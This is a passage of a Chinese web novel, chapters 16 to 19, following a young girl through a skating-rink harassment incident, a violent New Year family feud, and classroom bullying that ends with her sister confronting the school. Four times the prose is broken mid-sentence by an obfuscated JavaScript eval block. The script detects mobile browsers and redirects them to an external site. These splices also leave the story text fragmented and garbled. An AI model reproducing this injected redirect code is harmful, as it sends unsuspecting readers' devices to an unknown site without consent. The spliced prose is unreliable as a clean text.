进去玩不要门票,但想溜冰得去租鞋,杨凡掏钱租了几双请他们玩。 宋尔雅看着脏兮兮的溜冰鞋也不知道被多少人穿过,她担心传染上脚气,死活不要,站在围栏外看着他们玩。 她没想在拒绝后还会被架着过来,想找个机会溜走,又担心林菲菲和坏小子们待一起会出事。 她扫了一圈溜冰场管事的那几个男人,不知道冲他们喊救命有用不。 林菲菲第一次溜冰不会玩,还是杨凡拉着她的手滑动,好几次差点摔倒都被杨凡抱住了,她脸蛋愈发红润到要滴出血来,越慌张动作就越不协调。 扬凡陪她玩了没多久,又滑过来:“宋瑶,你真的不来试试吗?” 宋尔雅木着脸摇头,杨凡嚼着槟榔,身上还有一股烟味,令她很想捂住口鼻。 杨凡不死心,笑容意味深长,他留级过两次今年也十四了,本能地凝视女性,他看周围的女生都觉得不怎么样,宋尔雅是他见过最好看的一个,看起来很好骗。 他还是有点皮相的,伸出手揉了一下宋尔雅脑袋:“来嘛,我教你,保证不会摔到。” “林菲菲!”宋尔雅后退躲开他的手,大声喊人,“快出来,我们回去吧?” “这么不给面子。”杨凡猝不及防地拽她手臂不给她离开,一张脸阴了下来,一低头又看见女孩如雪一般脖颈,眼睛想从领口望下去。 “放开我。”强烈地不适感让宋尔雅很想踹他,杨凡饶有兴趣地看她挣扎,看她胸口平平,龇着牙笑,“你怎么发育得这么慢……啊!” 杨凡痛呼一声。 宋尔雅还未回头,杨凡拽住她的那只手被人一捏,他就吃痛地松开了,宋尔雅整个人被一股力量拉到一边去。 事情还未完,沈明松隔着栏杆就将杨凡提溜出来,手臂肌肉线条崩得紧紧的,筋脉暴起,眼神骇人:“*你*了个*,狗*的活腻了?” 周围的人听到动静看过来,连宋尔雅都目瞪口呆,第一次见满口脏话的沈明松。 他常在林海的娱乐场所中混,不少人都知道他是林海手底下的人,不是打手,而是能指挥打手的那一种。 杨凡这种经常逃课去玩的自然认识他,腿差点都软了,他身后那些朋友也恨不得装不认识他。 他赔笑:“哥,有话好说。” 16. 第 16 章 “好说。”沈明松脸上还是布着恐怖的阴霾,手中扳手不轻不重拍拍杨凡脸,但凡有一下用力了都能砸下他几颗牙,“说说你想把我家妹妹往那里骗?” 杨凡这下才知道怎么就招惹到了这人,眼睛都不敢往宋尔雅身上瞅了,只能老实做人:“错了错了,哥,我不知道这是你妹妹,我给她道歉。” 陆年看看沈明松身后小姑娘,也没听说过他有妹妹啊,长得也不像。 不过杨凡刚刚说的话都被他听清了,就算不是沈明松的妹妹,他也看不下去。 他冲上去抽了杨凡一巴掌:“骚扰人小姑娘算什么本事,来骚扰骚扰老子,看看你爹我究竟有没有发育!” 宋尔雅抬头看了语出惊人的少年好一会儿,印象里是明松叔叔的朋友,催过他结婚 陆年手劲大,打得杨凡脸都肿了,他只敢低着头和宋尔雅再三道歉,人都快要跪下去。 宋尔雅怕沈明松真的打人,小心一会儿引来警察把他抓走,赶紧上前去拉他手臂:“哥哥,我们走吧。” 沈明松分给她一个凉飕飕地眼神,将她从头到尾看了一边,确定她哪儿都好好地,抓着杨凡头发补了两耳刮子,才将人丢一边去。 陆年上去一顿恐吓,让人快滚,下次再见他欺负女生就滚不了了。 杨凡连滚带爬。 宋尔雅也被沈明松用力拽着手腕拉出了地下溜冰场,一路上他脸色难看得狠,像是逮住了女儿跟黄毛鬼混的老父亲。 他把人拉回了榕树下,随手捡了根小树枝要抽她:“宋瑶,你上学就是和这种人鬼混的?” “松哥,这可不兴打孩子。” 留在在原地等的几人见沈明松抓了个小姑娘回来,凶神恶煞的,生怕他真动手把人弄哭,赶紧来劝。 “小孩哪儿来的,松哥,不会是你偷的吧?” “我想起来了,”刚刚溜冰场太昏暗,陆年这回才看清宋尔雅的脸,一拍手,“这不是上次警察局里那智障小孩吗?她还叫你叔叔来着。” “叔叔?那就是小侄女了,你好啊,我是你陶然叔叔,哈喽,小孩你听得懂叔叔说话吗?” 宋尔雅有点窒息。 “我看你们才是智障。”明秋月听不下去了。 沈明松耳边聒噪,让他们滚一边去别吵。 宋尔雅偷偷抓住了树枝,在一群少年耍宝的时候悄悄给折断了。 沈明松瞥她一眼,把树枝段扔了,两根手指掐着她腮帮子肉:“说,下次还敢不敢?” “不敢了。”宋尔雅乖乖摇头,琉璃似的眼睛清澈无比,讨好地捧着掐她脸的手冲他笑,“哥哥不要和我姐姐说好不好。” 沈明松真受不了,一下把手抽回去了。 他觉得小姑娘有点邪门,怎么老三番五次地黑他装可爱。 最后他也没和宋芳告状。 ~ 那次过后教室后排那几个很少找宋尔雅的不痛快,能避她就避。 班里开始谣传她有个混社会的哥哥,尽量少招惹她,不然会被她哥用扳手在脑袋上砸个窟窿。 同桌默默把三八线擦掉,林菲菲也不爱和她说话了。 宋尔雅没什么感觉,她还没和她生气呢,她倒气上了? 有些人玩不到一块就是玩不到,能怎么办。 宋尔雅是班级里呼朋引伴的那种招摇人,学习好,也乐意给人讲题,不惹她时她脾气蛮好的,那些人也没见到过她传闻中的哥哥,很快又她玩闹起来。 腊月十六是宋瑶生日,宋芳以员工价给她买了一件红棕色格子大衣,搭了一顶贝雷帽,给她过生日穿,也用来做过年的新衣服穿。 宋尔雅觉得她妈妈审美一直在线,时尚轮回,这大衣放到后世也不过时。 生日过得很简单,宋尔雅很满足,接下来日子照常,月考、期中考、期末考完了,一学期也就过去了,放了寒假。 椰城冬天不会下雪,草木绿意常在,几乎天天阴雨绵绵,地面湿漉漉的,清晨会结霜。 寒假很短,沈明松依旧跟着陶叔出海,赶在过年前赚上一笔过个好年。 宋尔雅的小-鸡崽们也一顿狂长,长到四五斤重,小时候可爱,长大后很吵,拉屎巨多,还会啄人,啄她好多次。 宋芳说公鸡过年杀了吃,母鸡留着下蛋,她每天早上都给宋尔雅煎个鸡蛋吃,其他存起来拿去卖了。 等到了过年,年夜饭要去奶奶家一起吃,老太太摸摸她新衣服问价格,表情不太满意。 夜晚十二点全城点燃鞭炮,宋家人都凑在一起热热闹闹的,宋芳被问什么时候出对象结婚,说有好几个小伙都中意她。 宋芳性兴致缺缺,说自己还有弟弟妹妹要上学,没人愿意接受她带着弟妹的。 老太太直接就说让生怕宋尔雅读完初中就去打工。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510443|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不行!”宋芳语气很坚定,“瑶瑶成绩多好,以后肯定会成为大学生的。”反正她是不指望宋国梁的。 宋尔雅不想听人放屁,跑去把宋芳拉走去外面放烟花。 陶冬冬他们都在巷子里玩,空气被硝烟味弥漫,烟雾迷蒙。 沈明松也推着母亲出来看烟花,天空烟火璀璨,他沉闷的脸上露出罕见轻松地笑意。 沈小年和小伙伴手里火柴炮扔着玩,不是炸狗盆就是吓唬女生,他看见宋尔雅点着烟花棒笑得开心,也想吓吓她,便擦着盒子点燃一枚火柴炮扔过去。 他给扔到宋尔雅身上,“砰”一身爆炸了,给人吓得丢开手中烟花棒,懵懵的。 那炮威力不大,就是吓人。 宋芳立即反应过来,几步过去揪着沈小年耳朵骂:“小兔崽子手这么欠!折腾大黄不够还来折腾我妹妹了,想吃嘴巴子了?” 不是宋芳年轻时脾气好,而是对着老太太发不出来,对外人可不容忍。 沈小年妈妈林桂花也在附近,很快就过来和稀泥,说都是小孩子玩闹,别那么认真,大过年的。 沈小年一家是出了名的泼皮,林桂花看宋芳年轻拿长辈身份压她让她算了,沈小年躲在她身后做鬼脸。 突然,一小串鞭炮丢到母子两脚边噼里啪啦响,同样没什么威力,把林桂花吓得一屁股坐地上了。 沈明松晃晃手,火柴被他晃灭了。 林桂花惊魂不定地骂道:“哎呦我的妈呀,沈明松你这兔崽子!” “大伯母。”沈明松客客气气地开口,“新年好。” 他目光冰冷,笑容阴恻恻,像条随时会扑过来咬人的疯狗。 林桂花徒然生出一股惶恐哑声了,如果是几年前她还可以好好教训一顿这个嚣张的侄子,可如今他长大了,身强力壮能自己赚钱养家了,也不把自家放在眼里。 他已经不在乎亲缘,连年都不在一起过了,自家对他而言反而是仇恨的对象,毕竟他们一家当年差点把母子两逼死。 这只是件小插曲,沈小年母子理亏在先,明眼人来劝说几句当和事佬,也就不了了之了。 也有人小声议论宋家姐妹没白照顾明珠,得了个会帮她家出头的男人。 然而第二天清晨,宋尔雅被隔壁摔摔打打地声音吵醒。 她穿好衣服过去时,院子里围了好些人一片混乱,明珠的轮椅翻到在院子中。 17. 第 17 章 宋尔雅什么都顾不得地冲过去和宋芳一起将地上的明珠抱回屋里,明珠整个人都在发抖,气得无法说出话来。 宋芳也气坏了怒骂:“天杀的沈向国!” 沈向国是沈大伯名字。 宋尔雅把明珠放床上又跑出门口观看情况,看到沈向国的身影。 是个满脸络腮胡的中年男人,大腹便便,长得很凶,三角眼,像社会上混的歹徒,脸上有挨过打的痕迹。 她听了一会儿才知道,沈大伯是因为昨晚的事情来找茬的,还把明珠给推倒了,惹得沈明松勃然大怒。 他当时在杀鸡,手里有刀。血管青筋从脖子皮肤下凸出来,目光恨不能剁碎沈向国。 陶叔几人死死抱住少年快要挣脱掉的身体,呵斥道:“明松,冷静点,大过年别把公安闹来了!” 旁边的人立即从他手里拿过菜刀丢得远远的,但他们未能按住沈明松让他挣脱开了,他真的化身为疯狗扑过去逮住了想跑的沈向国挥拳头。 沈向国痛呼一声,就再也跑不掉了,他儿子沈路桦也跑进了院子中,骂了句脏也冲过来,使得场面更混乱了。 这一架打得很激烈,比起在小树林那次小打小闹,这一次的沈明松简直疯了,拿出身后扳手敲向沈向国膝盖,疼痛令他失去所有反抗能力。 陶叔几人又要拉沈路桦,又要遏制他,好不容易拦住了往人脑袋上的那一锤,把扳手抢走,一转眼他又掐住了沈向国脖子。 他先前的愤怒已经收起来了,面无表情的状态更让人心惊,他漠然着脸要掐死沈向国。 宋尔雅大脑一片空白,本能地跑过去抱住他的腰:“哥哥,你……冷、冷、冷静一点……” 她话都说不清了,从未没见过这么恐怖的沈明松。 她害怕他杀了人会被抓去坐牢。 最后还是陶叔狠狠打了他一个耳光,他才松开了手,双眼还猩红得吓人。 沈向国连忙被人搀扶着走了,逃命一样,怕是以后很久都不敢出现在沈明松面前,陶叔留下来劝说了好一会儿,见人真冷静下来,才离开。 沈明松闭了闭眼睛,气息才算平静下来,低头去看还在抱着自己腰的宋尔雅。 小姑娘被他吓惨了,一双挂泪眼睛惶恐不安,怕他再次暴怒起来发疯,手指死死揪住他衣摆。 沈明松拍拍她脸蛋,语气不怎么好:“松手。” 他身上有一些伤,也没去诊所看,回房间拿了找药,也不看跟进来的人。 他的房间很大,却堆了很多箱子,被整理得井井有序,桌面上堆起了很多书,学校发的课本和一些关于经济学建筑学之类,还有很多的报纸。 门后有个沙袋和拳击手套。 宋尔雅没有乱看,她被吓到了,不敢和他嬉皮笑脸。 沈明松也不和她说话,冷脸处理自己手臂上见血的伤口后,用绷带一圈一圈地缠绕上去,到最后咬住绷带配合着另一只手打结,一举一动都非常熟练。 他这才抬头看了宋尔雅一眼:“还不出去。” 宋尔雅这回乖乖地说:“哦。” 她退出他房间,改去明珠那里,宋芳已经把人安抚好了,明珠换掉摔脏的衣服,扭头问他:“瑶瑶,哥哥怎么样了。” 宋尔雅想了想说:“哥哥心情不太好。” 她不敢用糟糕来形容。 这事到了下午去才有后续,陶叔从医院调解回来,说沈向国没有报警的打算,但他腿骨折了,沈明松得赔医药费。 沈明松听陶叔的话痛快赔了,倒是宋尔雅知道后替他挺心疼上了,她知道他这时赚钱很辛苦,老黄牛还有休息吃草的时候呢,他是一刻不歇地找事干。 过年讲究和气生财,事情处理完了又恢复了喜气洋洋,宋尔雅晚上再次去找沈明松时他刚宰了一只鸡,用开水烫了两次才开始拔鸡毛,嘴里叼着烟。 沈明松抬头看她,身上的恐怖气息已烟消云散。 宋尔雅后怕的说:“哥哥,你早上好可怕。” 沈明松一下一下地扯下一大片鸡毛,咬着烟蒂说话:“可怕你还敢凑上来?” 宋尔雅这回敢走近他几步了,说:“你不可以抽烟的。” 沈明松:“你管我。” 明松叔叔从来不抽烟,她在心里说。 “你抽烟我就要吸二手烟了。”宋尔雅伸手拔走他嘴里香烟丢地上踩灭了,“而且抽烟牙齿会变黄,肺会黑掉烂掉。那样我不喜欢你了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510444|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她都没意识到自己的发言有多幼稚。 沈明松将满手鸡毛甩开,脸色瞬间变阴:“那你喜欢谁,你亲哥?那你去黏他去啊。” 宋尔雅扭头就走了。 年初二那天,宋家姑姑带着丈夫和儿子回娘家拜年,宋尔雅认识了新的哥哥。 宋家姑姑比想象中年轻时尚,烫着大波浪,妆容精致鲜艳,大胆用着紫色眼影。 宋尔雅小时候和这个姑姑见过几次面,要叫她姑婆,她对姑婆印象不深刻。 但她还是见人三分笑:“姑姑新年好。” 姑姑一看到她就抓着她仔仔细细地瞅了一会儿,夸她长得好可爱,然后给了她一个大红包。 宋尔雅瞬间喜欢上这个姑姑,宋芳明显是崇拜,眼睛发亮地听着她聊在大城市的生活,讲她的工作,神色充满了向往。 姑姑的儿子和姑父一样文质彬彬,戴着眼镜,浑身上下都一股书卷味,他和宋国梁玩不到一块去,就跑去看海了,半天不见回来。 快傍晚时宋尔雅在海边看他在同一个地方转来转去,小跑过去找他。 “表哥,你迷路了吗?” 表哥脸微微红了起来,很不好意思:“你来找我吗?” 宋尔雅摸摸鼻子,其实她是来找沈明松的。 她走在前面领着人回老太太家,海边有许多摊贩趁过年这几天人们愿意花费,小孩有压岁钱的时候,一个个小摊支了起来打算赚一笔快钱,卖鞭炮、玩具、小吃的都有,自形成一片小市场。 表哥看人流多怕走散,就抓着她手腕,烧烤的香味飘了过来,他停住了步伐:“小表妹,你想不想吃东西?” 宋尔雅吸了吸鼻子,正要点头,忽然感觉身后有一道强烈到难以忽视的视线。她转头看去,沈明松正烧烤摊上面无表情地盯着两人。 哇,他的业务又扩展了。 表哥也顺着她视线看去,说:“我们吃烤鱿鱼吧?” 说着他就拉着小表妹走过去,和沈明松要了两个大烤鱿鱼。 表哥说:“小表妹,你吃得了辣吗?” 宋尔雅摇头:“哥哥,我要吃不辣的,要多刷酱。” 表哥以为她在喊自己,又和沈明松重复了一边。 18. 第 18 章 鱿鱼表皮被烤得焦黄冒油,沈明松只给刷上一层薄薄酱料,最后撒上些葱花装在油皮纸里递给宋尔雅,装不认识她。 表哥又说:“我要微辣的,微辣就好。” 沈明松又给烤鱿鱼刷上厚厚一层辣椒酱,红红的,看起来非常诱人,表哥拿过来咬了一口差点被辣死,蹲在地上猛地咳嗽,宋尔雅赶紧去拿旁边的饮料给他喝。 表哥灌下大半瓶才缓过来,心道这微辣也这么辣的吗? 宋尔雅从口袋摸出叠好的手帕递给他用来擦嘴边沾上的酱料,表哥正想接过,忽感头顶目光如炬,下了刀子雨一样往他身上淋。 再迟钝他也察觉到了不对劲,忙站起来瞧见烤鱿鱼老板不悦地表情,把小表妹拉身后藏着。 “我们付钱了的。”他弱弱地说。 表哥觉得此不宜久留,赶紧把小表妹拉走了,半路上忽然一拍脑门:“刚刚那饮料没给钱。”怪不得老板那么瞪他。 表哥想回去付钱,宋尔雅拦住他:“没事,那饮料是买鱿鱼送的。” 表哥说什么信什么,还夸了一下老板真实惠。 第二天表哥就和姑姑回家去了,临走前还特意到宋尔雅家和她说明年过年也要过来看她。 宋尔雅挥手和他告别后,一个转身窜进隔壁,逮住还站铁门后的沈明松。 “哥哥你在偷听吗?” 沈明松面不改色:“没听。” 宋尔雅狐疑:“我表哥明天就回家了,你不为故意辣他的事情道歉吗?” 沈明松:“他不是今天走?” “你还说你没偷听。” 沈明松:“……” 他疑似恼羞成怒,又去宰了一只大公鸡做白切。 白切鸡从过年吃到十五,顿顿有它影子,一个年过下来人胖了几斤。 宋尔雅又量了一次身高,这半年里人营养跟上了猛长了好几厘米,到宋芳下巴高了。 宋芳晓得她在意身高,要她再多吃点饭说还会长的。 宋家姑娘就没有矮个子的,宋芳身段高挑,可以说是潮汐路这一带很漂亮的大姑娘了,如果不是有两拖油瓶,媒婆早找上门了。 不过她也不在意结婚这事,倒是有几个小伙巴巴地找她,想要给她家干点活,她都冷脸以对不想多做纠缠。 宋尔雅只隐约知道母亲第一任丈夫就是椰城人,大概会在这几年里结婚。 寒假开学转学来了一位叫李小丽的女生,老师重新安排了位置,宋尔雅和这位新同学成了同桌,李小丽沉默寡言,也不太爱理人。 可能老师觉得她话太多了,故意这样安排的。 两人相处了一个多月,宋尔雅才发现不是李小丽高冷,而是她弱听,她得凑到她耳边说话才行。 她能发现,别人自然也能,慢慢地有人把书本卷成筒,在女生耳边大吼大叫,彰显自己特别,迎来全班注目而笑。 宋尔雅看着李小丽在那些笑声难堪而手足无措,连她本人也迷茫,第一次亲眼见识到校园霸凌。 有些人在这个年龄心智不成熟,觉得欺负别人是很好玩的事。 起初还是言语嘲讽,直到有一次体育课后,宋尔雅回教室看到李小丽趴在桌面上小声哭泣,她衣服后背上有几个被香烟烫出来的小洞,能看到里面小内衣颜色。 旁观也许是一种霸凌,宋尔雅良心过意不去向后排走去,手里小袋子还装着他们丟来的垃圾:“你们几个不要太过分了。” 杨凡几个手里还有未燃烬的香烟,辩驳不出罪魁祸首是谁,杨凡冷眼看她:”我这次没得罪你吧。“ 他记恨着沈明松上次溜冰场里让他在朋友面前丢了面子,想报复到她身上又不敢。 这次转学来了个懦弱的女生,刚好可以当受气包耍耍。 宋尔雅把垃圾丢回他身上:“东西还给你们,下次再扔来,我塞你们嘴里。” 她逞英雄一时痛快了,后果当然是被杨凡揪着衣领甩到一边去。 她打不过他们,但他们有所顾忌,也没动手打她,只叫她别多管闲事。 宋尔雅知道她自己是无法帮到同桌的,便把事情和班主任说了,班主任得知后也只说男孩子是这样的,没什么坏心思,只是爱和女生开玩笑而已,不是什么大事。 她笑着对宋尔雅说:“还有,宋瑶同学,打小报告可不是什么好习惯哦。” 多说无益,宋尔雅冷着脸回来。 她借其来女生的针线包,帮李小丽缝住了洞口,丑归丑好歹防止内衣颜色露出来,让她不至于回家那么狼狈。 李小丽小声和她说谢谢,泪珠不停掉落。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510445|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋尔雅担忧望着她,她思考写信给校长的可行性有多少,听说举报信箱都锁了好几年都没有开过,也不知道报警行不行得通。 她让李小丽还是和家长说吧。 再一次早上几个女生一起值日时,林菲菲捂住鼻子:“李小丽,你身上好臭。” 李小丽没听清,但看见了她的动作,下意识地抬手闻自己身上味道。 “你家是卖猪肉的吧,浑身都腥死了。” 自从林菲菲和杨凡他们玩一块后,就变得越讨厌起来了,宋尔雅拿着扫把皱眉:“你这样很有意思吗?” 她一开口,就有他女生帮腔了:“对啊,林菲菲你干嘛说人家,人家身上哪有味道?” 林菲菲微笑:“我没有嘲笑的意思,是真的闻到了肉臭,你们没闻到吗?” 闻言几个女生便多看了李小丽两眼。 宋尔雅犹豫一下,着实觉得她这种行为挺讨厌的:“那杨凡满嘴烟臭,你还和亲嘴?” 几个女生听到后统一去看林菲菲。 其实大家也都知道这两人在偷偷谈恋爱,就是没人说出来了,林菲菲没想宋尔雅会捅破得那么直接,她脸瞬间涨红。 林菲菲丢下扫把,羞愤地走了。 她一走,女生们围过来:“他们真亲嘴了啊,那么大胆?” 宋尔雅说:“我诈她的,你们不要传出去了。” 几个女生小鸡啄米一样地点头。 自习课时,宋尔雅的后桌被杨凡揪起来换他坐上去。 李小丽害怕地去抓住宋尔雅衣袖,以为杨凡又是来欺负自己的。 宋尔雅回头看杨凡,他转着一把剪刀玩对她笑:“看什么,我又不做什么?” 宋尔雅又去看林菲菲,她正抱着胳膊冷笑。 林菲菲应该和他说了什么,她很享受那种被坏小子保护的成就感。 杨凡这次大概率是来找宋尔雅茬的,谁让她大嘴巴。 然而很久过去杨凡都静悄悄地,宋尔雅写完半张试卷他都没做出什么举动,还在琢磨他到底想搞什么鬼,一回头时发现杨凡一手拿着剪刀,一手抓着一把头发冲她笑。 她呆愣地摸摸自己只剩一小截的马尾后,以迅雷不及掩耳之势抽了杨凡几个嘴巴子。 杨凡都没能反应过来。 19. 第 19 章 班主任快五十岁的妇女了,有二十多年的教学资历,平常就对杨凡那些男生较为宽容,觉得男生就是调皮,女生就该充满包容心,了解事情来龙去脉后她指责宋尔雅。 “宋瑶同学,无论如何你也不能动手打人家男同学啊” 心爱的头发被人剪了以后,她一连串抽了杨凡好几个耳光,杨凡愣了好一会才梗着脖子,面目狰狞地要揍她。 但到底忌讳着什么,他喘着粗气硬生生给忍下来了。 两人一起被叫到老师面前。 宋尔雅抬眼看班主任,眼里没了其他人对老师的敬意和怯意,甚至带着嘲讽,她说:“我真看不起你。” 闻言办公室里其他老师都倒吸一口凉气,教学那么多年来,很少见过这种直言不讳的学生,就连坏小子都会在表面装一下。 偏偏这学生还是年级第一,几乎每科考试都拿满分,活泼开朗又乐于给其他同学解题,学校还正准备期末给她颁发三好学生。 连罚站的杨凡都扭头诧异地看着她。 班主任被她轻蔑的眼神看得浑身一颤,说不上恼羞,教鞭重重拍在桌面上:“你就这么对老师说话的,你爸妈没教过你怎么尊敬老师?“ 宋尔雅说:“我当然尊敬每一位值得尊敬的老师。” 言下之意就是有些是不值得尊敬。 班主任被戳了脊梁骨一样,满脸涨得通红,鼻孔翕张不停,气愤骂道:”叫你家长过来,我倒要看看什么家庭能教出你这样不敬师长的玩意!“ 宋尔雅撇撇嘴,叫家长这一招也只能吓唬吓唬一些年龄小的学生了,她内心平静得很,没有一丝害怕。 也就是她这样的态度,班主任看着更来气,抬手要扇她脸。 宋尔雅动作比眼睛还要快,赶忙抱头蹲下躲了过去,离她远一点,班主任张牙舞爪地要来抓她,她就绕着办公桌跑。 这年代体罚学生可是常见的事,她才不要凭白挨打。 其他老师赶紧来阻拦这场闹剧,把人按回椅子上劝说她冷静点,班主任脸色铁青,差点被她气死。 杨凡笑出了声。 班主任手掌重重拍打桌面:“叫家长,一定要叫家长。” 她去翻学生家庭情况调查表找到宋瑶二字,简单看了一下冷笑道:“无父无母,果然是……” 她没说下去,周围老师都知道她要说什么给打断了。 宋尔雅眼中也有冷冷意。 ~ 宋芳第二天来学了校。 她昨晚看到宋尔雅那被剪得乱七八糟的头发顿时就冒火了,晓得妹妹臭美,每天都要弄很久她的头发。 沈明松回来也看到直皱眉,问她被谁欺负了。 宋尔雅也没添油加醋,只是实话实说,宋芳得知事情缘由后更生气了,说老师怎么这样处理事情的。 她这个态度,宋尔雅就知道自己不会挨揍了。 宋芳拉着她来到老师办公室,只是她还未来得及问,班主任就先劈头盖脸的一顿骂:“你是宋瑶的姐姐吧,你晓不晓得宋瑶在学校是什么德行,昨天居然照着男同学的脸打……” 宋芳厉声打断:“不是他欺负我妹妹的吗?” 班主任错愕,显然没想过宋芳会是这种态度。 大多家长天然的对老师有着盲目尊敬,觉得老师说什么是什么,来这基本都会恭恭敬敬地听训。 宋芳是少数家长,她甚至还质问班主任:“那个男同学在哪,我倒要问问他为什么欺负我妹妹,家里怎么管教的?” 属于自己的词都被她说了,班主任来来回回还是那句话:“男生就是调皮,也没坏心思。” 宋芳很努力地克制住了没有骂人,但还是忍不住地嘲讽:“那个男生不会是你儿子吧?” 班主任闻言勃然大怒,昨天被妹妹气了一回,今天又被姐姐气,两姐妹都一个德性,这回没人拦着她了,她拿出有娘生没娘养的话把人骂得狗血淋头。 气未消,她冷笑道:“既然这样宋瑶就别读了,收拾收拾东西回去打工吧!” 宋芳犹如晴天被雷狠狠劈中,猝然抬头:“老师,你话这什么意思?” 班主任仰着下巴:“宋瑶被开除了。” “开除?” 宋芳嘴唇发白,本就气得浑身哆嗦,反复品味这两个字的意思后,差点要掀桌:”你以为你是谁啊,一个小小班主任说开除就能开除?你什么东西?“ 班主任少听见有人这般说她,脸上皱纹又加深了:“这位家长,请你文明用语,学校不是你耍横的地方……” “我妹妹被人欺负了,学校却要开除她,你们说这公平吗,那个男生呢,是不是也要开除?”宋芳面含怒气,在她眼里开除就是天塌了,什么尊师重教都没有了,火气蹭蹭地上窜。 她那个模样恨不得冲上去给班主任撕了。 宋尔雅都被她妈妈这副模样吓到了,上一次她这么愤怒还是父亲要放弃治疗她时,宋芳瞬间扑过去扯着父亲头发照脸扇呢。 “走,你跟我去见校长。我妹妹成绩那么好,我就不信学校能开除她。”她拉着班主任要去找个人来主持公道。 班主任才意识到这两姐妹都不是什么好糊弄的,本意只是想威压一下姐妹两让她们好好给自己道个歉,哪想这家长看起来年轻,人这么野蛮。 宋芳力气惊人,拽着班主任手腕要去校长办公室,他们路过走廊时,一个个学生脑袋伸长了过来看。 班主任挣脱不开她的手,一时又收不回来说出去的话,只硬着头皮说:“你冷静一点。” 宋芳冷静不了。 有学生小声议论,说宋芳看起来好凶呀,也有恨恨地咬牙说终于有人制裁班主任这个老妖婆了,可喜可贺,喊来更多学生围观。 事情闹到最后校长还是出面了。 宋芳在他办公室里逻辑清晰地说清一切,冷笑道:“而且国家规定必须给孩子上完九年义务,你们要敢违法我就去教育局举报,我要去登报纸,去找市区领导,我要上面的人都知道你们要逼一个没爹没娘的孩子没书读,实在不行我吊死在你家门口!” 校长倒茶的手一哆嗦,很头疼遇到这种会撒泼的家长。这几年作风抓得厉害,稍有不慎就得挨批,他敢明目张胆不让一品学谦优的孩子念完初中,都不用宋芳举报,其他有心人去领导跟前提一提都够他喝一壶了。 他瞪班主任一眼,让她给人道歉。 最终这事被校长亲自解决了,班主任道歉,把杨凡家长和宋尔雅同桌的家长一起喊来对峙。 最后得出结果是杨凡因欺负同学而通报批评,做停学一学期处理,宋尔雅继续在学校念书。 只要不被开除,宋芳就很满意了。 然后在班里宋尔雅被传言不止有个混社会的哥哥,还有个混社会的姐姐,居然把老妖婆都能整治了。 他们看她的眼神都充满了敬佩。 连初二的陶冬冬都听说了,说看不出来芳姐这么厉害,宋尔雅也出名了,反而更多同学跑来找她玩。 ~ 天气渐渐热了起来,连带着人的脾气都躁动,几个月过去班主任迟迟都忘不掉给宋尔雅道歉的耻辱,在课堂上阴阳怪气地次数愈发频繁,言语间让其他人孤立她。 宋尔雅实在受不了她了,神经病一个。她向学校提出跳级申请,不要在那个班级待着了。 由于她成绩十分出色,学校思量一番,出了一套初三水平的试卷让她考,分数出来后眼见也要期末了,就让她下学期去初三六班报到。 李小丽在之前那事过后不久就转去了另一个班,因为她鼓起勇气和家长说了她在学校的遭遇。 她爸爸是个杀猪的,脾气比宋芳还要暴躁,直接冲进学校里把和杨凡玩的那个男生揪出来上手就打,混乱中还打了班主任一个耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510446|186172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,骂她不作为还纵容别人欺负自己闺女。 那次过后李小丽在班里待不下去,学校立刻安排了转班。 宋尔雅希望她去别的班后别再受欺负了。 还有让人意外的是被停学的杨凡有一天在放学路上突然出现给她道歉。 杨凡头发都剃成光头了,想忽视都难,捂住青紫的眼睛非常诚恳地同她和她说对不起。 宋尔雅乎怀疑他肯定是被谁揍了,给揍老实了。 她后来就没见过杨凡了。 时间如流水一样逝去,6月4日这天下了小雨,是宋芳生日,这时候不流行过生日吃蛋糕,用宋芳的话来说不如大鱼大肉来得实在。 宋尔雅蹲鸡笼前,宋芳又买了一群小鸡让她重新养,下蛋老母鸡不能碰,笼子里还剩两只过年没嚯嚯完的大公鸡,每天凌晨都打鸣把人叫醒。 就你们其中一个了,可怜的小家伙,宋尔雅心里替它哀嚎,脚步却往隔壁去。 沈明松难得休息在家,人在屋檐摇椅上午睡,才睡着没多久就被她硬生生摇醒,抬起眼皮看到她不怀好意的笑。 